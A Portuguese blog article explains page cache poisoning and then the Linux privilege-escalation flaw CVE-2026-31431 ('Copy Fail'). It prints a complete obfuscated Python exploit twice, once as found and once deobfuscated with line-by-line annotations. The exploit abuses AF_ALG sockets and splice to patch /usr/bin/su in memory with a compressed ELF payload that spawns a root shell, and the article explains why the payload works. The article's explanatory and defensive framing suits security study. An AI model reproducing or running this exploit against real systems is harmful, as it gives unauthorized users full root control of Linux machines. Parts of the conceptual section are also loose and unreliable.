Page Cache Poisoning: Quando o Núcleo Se Torna Seu Pior Inimigo: Copy Fail (CVE-2026-31431)

Título: Page Cache Poisoning: Quando o Núcleo Se Torna Seu Pior Inimigo
Imagine o núcleo (Kernel) do seu sistema operacional como a fortaleza mais segura que você pode conceber. Ela é projetada para gerenciar os recursos mais sensíveis e isolar processos críticos de interferências externas. Mas e se o próprio sistema de entrega de dados da fortaleza, a sua “linha de abastecimento”, estivesse contaminado? A imagem acima é mais do que uma peça de arte cyberpunk dramática; é uma visualização visceral e tecnicamente precisa de um dos ataques de kernel mais insidiosos e profundos que existem: o Page Cache Poisoning.
O Gancho: O Envenenamento no Coração do Sistema
A imagem nos leva diretamente ao local do crime. Vemos uma barreira azul vibrante e impenetrável, rotulada com autoridade: “READ-ONLY PROTECTED PAGES” (Páginas Protegidas Somente para Leitura). Esta é a defesa de hardware e software do Kernel Space, uma muralha que deveria ser inviolável.
Abaixo dela, um fluxo agressivo e caótico de códigos hexadecimais vermelhos (“CORRUPTED DATA STREAM“) — com valores reais como 0x7F, 0x45, 0xEF, representações de instruções de máquina corrompidas ou shellcode — está violando essa muralha. Não é uma tentativa de arrombar a porta; é uma contaminação da própria fonte que a porta protege. O fluxo vermelho está ignorando a barreira e injetando seu veneno diretamente no “PAGE CACHE“, a área de memória verde e vulnerável.
A Parte Técnica: O Que é o Page Cache e Por Que é um Alvo?
Para entender a gravidade do ataque, precisamos entender a peça central: o Page Cache.
O núcleo de um sistema operacional moderno é obcecado por desempenho. Ler dados diretamente do disco rígido é lento. Para acelerar o acesso, o kernel usa o Page Cache como um buffer de alto desempenho na memória RAM. Quando um processo lê um arquivo, o kernel armazena uma cópia desse arquivo em “páginas” no Page Cache. Leituras subsequentes do mesmo arquivo são servidas diretamente da RAM, que é ordens de grandeza mais rápida do que o disco.
Para garantir a integridade do sistema, páginas de memória cruciais, como as que contêm bibliotecas binárias do sistema ou o próprio código do kernel, são marcadas como Read-Only (Somente para Leitura) no hardware do CPU. Um processo normal não pode, sob nenhuma circunstância, alterá-las.
A Mecânica do Ataque: Como a Muralha é Rompida?
O Page Cache Poisoning é um golpe de mestre em manipulação de estado. O ataque ocorre inteiramente na memória RAM, o que o torna quase invisível a ferramentas de auditoria baseadas no disco rígido.
O ataque pode se desenrolar de várias maneiras, explorando falhas sutis:
-
A Exploração da Corrida (Race Condition): O atacante cria um cenário onde o kernel está no processo de ler um arquivo legítimo do disco e colocá-lo no cache. Usando uma vulnerabilidade de escalonamento de privilégios (como um bug de “use-after-free” ou manipulação de permissões), o atacante injeta seus dados maliciosos no exato momento entre a leitura do disco e a marcação da página como Read-Only. O kernel, enganado, agora tem uma página “envenenada” em seu cache que ele acredita ser legítima.
-
O Golpe de Lógica do Kernel: Certos bugs na lógica de gerenciamento de arquivos do kernel podem permitir que um processo de usuário malicioso altere as permissões de uma página no cache, mesmo que temporariamente, de Read-Only para Read-Write, permitindo a injeção do “Corrupted Data Stream”.
-
Vulnerabilidades de Hardware (como Rowhammer): Em alguns cenários teóricos avançados, vulnerabilidades de hardware podem ser usadas para “vazar” ou “corromper” bits de dados em endereços de memória vizinhos na RAM, ignorando completamente as proteções de software e hardware do CPU para reescrever dados em páginas Read-Only.
O Impacto: A Execução da Corrupção
Olhe novamente para o fluxo vermelho na imagem. Ele representa exatamente o momento em que os dados maliciosos (payload hex codes) são integrados ao PAGE CACHE.
O perigo real é demonstrado pelo fluxo que continua para a direita: “CPU PIPELINE“.
A tragédia é que os mecanismos de proteção de hardware (como a barreira azul) não detectam que os dados no cache foram envenenados. Quando o CPU Pipeline precisa executar um arquivo binário crítico do sistema (como libc.so), ele o lê do Page Cache. O CPU não tem como saber que a página lida não é o binário legítimo, mas sim a página envenenada pelo atacante.
O resultado é a execução direta de código malicioso no nível mais alto de privilégio do sistema, o Kernel Mode. Isso significa controle total sobre a máquina.
Conclusão: Um Lembrete Furtivo e Poderoso
A imagem é uma obra de arte dramática que captura a essência de um ataque furtivo e profundo. Ela nos lembra que o perigo cibernético nem sempre é uma infecção de arquivo óbvia no disco rígido. Os ataques mais sofisticados e perigosos ocorrem no nível de infraestrutura, envenenando a própria água da fortaleza para que os guardas a bebam.
O Page Cache Poisoning destaca a necessidade contínua de mitigações de segurança em camadas: de verificações de integridade de hardware e kernel mais fortes a práticas de codificação defensiva e sistemas de detecção de anomalias na memória. A batalha pela segurança nunca termina e, como esta imagem nos mostra, ela pode ser visualmente assustadora e tecnicamente complexa.
O caso CVE-2026-31431
Agora, vamos analisar detalhadamente o caso CVE-2026-31431 que está em alta no momento. Como funciona, porque funciona e como infecta o seu sistema.
Tudo começa por entendermos o código do ataque, para que possamos seguir adiante. Ele ocorre através de um script, aparentemente inofensivo, em Python.
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind((“aead”,”authencesn(hmac(sha256),cbc(aes))”));h=279;v=a.setsockopt;v(h,1,d(‘0800010000000010’+’0’*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d(’00’);u.sendmsg([b”A”*4+c],[(h,3,i*4),(h,2,b’\x10’+i*19),(h,4,b’\x08’+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open(“/usr/bin/su”,0);i=0;e=zlib.decompress(d(“78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3”))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system(“su”)
Isso mesmo, esse código é, na verdade, um script malicioso de escalonamento de privilégios (um exploit), desenhado para explorar uma vulnerabilidade no kernel do Linux e obter acesso de superusuário (root).
A técnica utilizada lembra muito as explorações de vulnerabilidades de corrupção de cache de página (Page Cache Poisoning), como o famoso Dirty Pipe (CVE-2022-0847) ou variantes que abusam da API de criptografia do kernel (AF_ALG) em conjunto com a chamada de sistema splice. O objetivo final do script é injetar um código arbitrário (um payload) diretamente no binário de sistema /usr/bin/su (mesmo ele sendo de apenas-leitura) e executá-lo para ganhar um shell como root.
Claro o código está obfuscado, por isso é complicado de entender, mas trago o código desobfuscado abaixo, com a explicação linha por linha.
#!/usr/bin/env python3
import os
import zlib
import socket
def decode_hex(hex_str):
“””Converte uma string hexadecimal em bytes.”””
return bytes.fromhex(hex_str)
def overwrite_file_cache(target_fd, offset, payload_chunk):
“””
Abusa da API Crypto do Kernel (AF_ALG) e do os.splice para
sobrescrever a memória cache de um arquivo read-only.
“””
# Cria um socket de interface de algoritmo (AF_ALG)
alg_socket = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_socket.bind((“aead”, “authencesn(hmac(sha256),cbc(aes))”))
SOL_ALG = 279 # Constante para o nível do socket de algoritmos
# Configura opções do socket (Chave de criptografia e tamanho da autenticação)
alg_socket.setsockopt(SOL_ALG, 1, decode_hex(‘0800010000000010’ + ‘0’ * 64))
alg_socket.setsockopt(SOL_ALG, 5, None, 4)
# Aceita a conexão para obter o descritor de arquivo operacional
op_socket, _ = alg_socket.accept()
splice_size = offset + 4
null_byte = decode_hex(’00’)
# Envia os dados (o payload) para o socket com a flag MSG_MORE (32768)
MSG_MORE = 32768
control_messages = [
(SOL_ALG, 3, null_byte * 4), # ALG_SET_OP
(SOL_ALG, 2, b’\x10′ + null_byte * 19), # ALG_SET_IV
(SOL_ALG, 4, b’\x08′ + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN
]
# Envia 4 bytes de lixo (“A”*4) mais os 4 bytes do payload real
op_socket.sendmsg([b”A” * 4 + payload_chunk], control_messages, MSG_MORE)
# Cria um Pipe (um canal de comunicação interno do sistema)
pipe_read, pipe_write = os.pipe()
# Passa os dados do arquivo alvo para o pipe e do pipe para o socket (exploit)
os.splice(target_fd, pipe_write, splice_size, offset_src=0)
os.splice(pipe_read, op_socket.fileno(), splice_size)
# Tenta ler o retorno para evitar travamentos
try:
op_socket.recv(8 + offset)
except:
pass
# — Fluxo Principal —
# Abre o executável /usr/bin/su em modo apenas-leitura (0 = os.O_RDONLY)
file_fd = os.open(“/usr/bin/su”, os.O_RDONLY)
# Descomprime o payload embutido em hexadecimal usando Zlib
compressed_payload = “78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3”
malicious_payload = zlib.decompress(decode_hex(compressed_payload))
# Injeta o payload no executável, em pedaços de 4 em 4 bytes
current_offset = 0
while current_offset < len(malicious_payload):
chunk = malicious_payload[current_offset : current_offset + 4]
overwrite_file_cache(file_fd, current_offset, chunk)
current_offset += 4
# Após injetar o payload malicioso, executa o comando ‘su’ para ganhar root
os.system(“su”)
Explicação Passo a Passo (Como o Exploit Funciona)
1. Preparando o Ambiente (os.open)
O script começa abrindo o executável legítimo /usr/bin/su do sistema operacional. Note que ele é aberto com 0 (os.O_RDONLY), ou seja, “apenas leitura”. Um usuário comum não tem permissão de escrita nesse arquivo, pois ele pertence ao usuário root.
2. A Vulnerabilidade AF_ALG + Splice (Função c no original)
É aqui que a mágica maliciosa acontece. O script cria um socket que interage com a API de Criptografia do Kernel do Linux (socket(38,5,0) ou AF_ALG). Ele instrui o kernel a configurar um contexto de criptografia falso (AEAD). O pulo do gato ocorre com a combinação de três chamadas:
sendmsg com a flag MSG_MORE (32768): Diz ao kernel que dados de criptografia foram enviados, mas que “tem mais por vir”. O kernel aloca um buffer de memória interno para aguardar o resto.
os.splice(f, w): Puxa o conteúdo do executável /usr/bin/su diretamente para um Pipe (tubo).
os.splice(r, u): Empurra esses mesmos dados para o socket de criptografia travado.
O Bug: O kernel acaba associando a página de memória física usada pelo arquivo no sistema (o page cache) com o buffer do socket que acabou de receber os dados via sendmsg. Isso permite que os 4 bytes maliciosos fornecidos contornem as restrições de permissão e sobrescrevam a memória do arquivo no cache do sistema operacional.
3. O Payload (zlib.decompress)
A variável longa (78da…) é simplesmente o código binário a ser injetado (possivelmente shellcode em assembly ou um patch que altera o binário ELF), compactado com Zlib para esconder seu propósito. Quando descomprimido, vira uma cadeia de bytes executável.
4. O Loop de Injeção
O laço while fatia esse payload descomprimido em bloquinhos de 4 bytes e chama a função de exploit repetidamente. Assim, ele vai remendando (patching) a memória do programa su bloquinho por bloquinho.
5. A Execução (os.system(“su”))
Quando o loop termina, o executável em memória no sistema está modificado. Em seguida, o script executa su. Ao invés de pedir a senha normalmente, o binário modificado vai executar o payload do invasor, muito provavelmente lhe garantindo acesso direto à conta root sem checar credenciais.
Em resumo: Trata-se de um código perigoso que deve ser executado apenas em ambientes virtuais controlados de laboratório. Caso tenha encontrado isso em um servidor em produção, seu sistema foi comprometido e precisa de resposta a incidentes urgente e atualização do kernel Linux.
Mas afinal, o que há naquele payload comprimido?
Esse payload é o coração do Copy Fail (CVE-2026-31431), uma vulnerabilidade de escalonamento de privilégios crítica no kernel do Linux, divulgada recentemente (no final de abril de 2026).
Se você extraísse esse bloco hexadecimal, você não veria código Python ou Bash legível. Você veria um Micro-ELF (um executável Linux compilado em binário) extremamente enxuto, com pouco mais de 100 bytes.
Aqui está o “raio-x” do que esse payload faz e o porquê de ele ser estruturado assim.
1. O Código Fonte do Payload (O que ele faz)
O conteúdo descomprimido é, na verdade, um shellcode empacotado em um formato de executável (ELF) mínimo. Se fossemos “descompilar” esse código de volta para a linguagem C, ele seria exatamente isso:
int main() {
// 1. Força os IDs de usuário e grupo para o usuário 0 (root)
setuid(0);
setgid(0);
// 2. Substitui o processo atual por um terminal de comandos bash/sh
char *args[] = {“/bin/sh”, NULL};
execve(“/bin/sh”, args, NULL);
// 3. Finaliza a execução caso o execve falhe (como boa prática)
exit(0);
}
Ao ser executado no nível de máquina (Assembly), tudo o que ele faz é disparar as syscalls (chamadas de sistema) para setuid, setgid e execve.
2. Por que um executável compilado e não um Script?
Se você olhar no loop do código em Python, vai notar que a injeção começa no deslocamento zero (i=0):
c(f, i, e[i:i+4])
Isso significa que o script malicioso está apagando e sobrescrevendo o cabeçalho (header) original do arquivo /usr/bin/su na memória RAM. Mas por que o criador do exploit se deu ao trabalho de embutir um arquivo binário em hexadecimal ao invés de apenas injetar um texto simples como #!/bin/sh\nsu -c root?
A resposta está em como o Linux trata privilégios:
A Restrição de Scripts: O Linux ignora a permissão especial de setuid (a flag que permite que um programa rode com privilégios de seu dono, neste caso, o root) se o arquivo for um script de texto. Se o atacante injetasse um script, o terminal rodaria com os privilégios do usuário comum, inutilizando o ataque.
A Magia do Micro-ELF: Ao injetar um binário ELF válido, o invasor burla essa regra. O Kernel do Linux tenta executar o arquivo /usr/bin/su. Ele vê que o arquivo físico no disco pertence ao root e tem a permissão setuid ativada. Então, ele carrega as páginas de memória que foram maliciosamente alteradas (o nosso Micro-ELF) e as executa com força total.
O Resumo da Ópera
-
- O Python usa a biblioteca zlib para descompactar esse pequeno binário de ~150 bytes na memória.
- Usando a falha Copy Fail, ele fatia o binário e o escreve de 4 em 4 bytes por cima do programa su original dentro do Page Cache (a área de RAM onde o Linux guarda arquivos frequentemente usados para leitura mais rápida).
- Quando o script finalmente chama os.system(“su”), o sistema operacional não pede a senha. Em vez disso, ele executa aquele código C que mostrei acima, entregando um shell interativo como superusuário sem deixar rastros no disco rígido do servidor.
É um design altamente otimizado: uma exploração que cabe inteira em ~700 bytes de texto, dispensando compilação no servidor-alvo ou o download de arquivos adicionais.
